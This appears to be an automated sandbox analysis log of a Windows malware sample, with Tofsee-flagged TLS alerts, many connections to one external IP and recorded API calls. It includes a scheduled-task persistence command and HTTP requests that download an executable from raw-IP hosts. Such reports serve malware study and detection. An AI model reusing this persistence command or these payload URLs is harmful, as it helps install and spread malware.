TCP 192.168.56.101:50286 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50289 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50298 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50124 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50131 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50136 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50140 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50142 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50148 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50168 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50169 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50172 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50174 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50200 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50204 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50213 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50230 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50234 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50238 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50240 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50243 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50248 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50249 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50253 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50257 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50262 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50267 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50274 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50277 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50283 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50284 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:50296 -> 154.92.15.189:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49172
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49174
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49182
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49197
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49200
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49294
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50037
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50116
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50127
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50129
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50137
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50143
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50144
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50159
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50161
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50166
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49168
154.92.15.189:443 		C=US, O=Let's Encrypt, CN=R3 CN=i.alie3ksgaa.com e3:88:72:04:24:5c:12:17:a4:e2:c1:d9:33:f0:d9:60:91:71:d3:dc
TLSv1
192.168.56.101:49175
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49176
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49192
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50175
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49193
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50176
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49194
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50180
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49198
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50182
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49181
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49215
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50193
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49585
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49183
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49873
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50194
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49184
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50083
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49185
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50203
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50118
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49190
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50128
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50205
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49549
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50145
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50211
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49787
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50147
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50212
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50119
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50149
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50214
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50122
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50150
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50219
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50130
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50225
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50152
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49179
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50151
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50226
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50156
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49180
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50229
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50158
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49186
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50231
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50162
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49187
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50239
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49199
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50255
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49263
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50263
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49332
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50264
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49456
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50265
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49738
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50157
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50270
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50126
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50164
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50279
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50132
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50167
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50282
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50133
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50170
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50287
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50134
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50179
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50293
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49177
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50184
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50297
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50206
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50208
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50216
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50218
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50222
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50227
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50244
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49178
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50178
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49240
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49642
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50113
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50115
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50121
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50123
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50260
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50266
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:49400
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50268
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50271
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50183
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50273
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50276
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50292
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50138
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50139
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50186
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50146
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50190
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50153
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50154
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50160
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50125
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50196
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50135
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50141
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50155
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50197
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50173
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50198
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50177
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50201
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50187
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50188
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50209
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50192
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50210
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50207
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50215
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50223
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50221
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50163
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50228
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50224
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50165
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50232
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50242
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50171
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50236
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50181
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50237
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50185
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50245
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50189
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50247
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50191
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50195
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50252
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50199
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50259
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50202
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50272
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50117
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50217
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50280
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50220
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50285
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50233
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50288
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50235
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50290
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50120
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50241
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50294
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50246
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50251
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50250
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50256
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50254
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50291
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50258
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50295
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50261
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50269
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50275
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50278
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50281
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50286
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50289
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50298
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50124
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50131
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50136
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50140
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50142
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50148
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50168
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50169
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50172
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50174
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50200
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50204
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50213
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50230
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50234
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50238
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50240
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50243
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50248
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50249
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50253
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50257
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50262
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50267
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50274
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50277
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50283
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50284
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50296
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50300
154.92.15.189:443 		None None None
TLSv1
192.168.56.101:50299
154.92.15.189:443 		None None None

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: chcp
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Active code page: 1251
console_handle: 0x00000013
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MalayamaraUpdate" has successfully been created.
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.53/syncUpd.exe
request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
request GET http://185.172.128.53/syncUpd.exe
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00470000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00470000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00412000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00445000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0044b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00447000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0042c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0041a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2620
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x735f2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2716
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000013f669000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2800
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x735f2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2800
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13299867648
free_bytes_available: 13299867648
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13325037568
free_bytes_available: 13325037568
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13458878464
free_bytes_available: 13458878464
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13458878464
free_bytes_available: 13458878464
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13458878464
free_bytes_available: 13458878464
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 13458878464
free_bytes_available: 13458878464
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 6963748864
free_bytes_available: 6963748864
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 6963748864
free_bytes_available: 6963748864
root_path: C:
total_number_of_bytes: 34252779520
1 1 0
file C:\Users\test22\AppData\Local\Temp\nswF2BD.tmp\INetC.dll
file C:\Users\test22\AppData\Roaming\Temp\Task.bat
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\rty25.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\rty25.exe
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\202005191702_6d173b9549ce4fe1e5ada5ab9ce0bfff5d9569f19e7fa916db5c8d4f0dace63b_setup_nwc275a_demo.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\winamp58_3660_beta_full_en-us[1].exe
file C:\Users\test22\AppData\Local\Temp\nstF8B9.tmp
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\nswF2BD.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\newrock2.exe
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

InternetReadFile

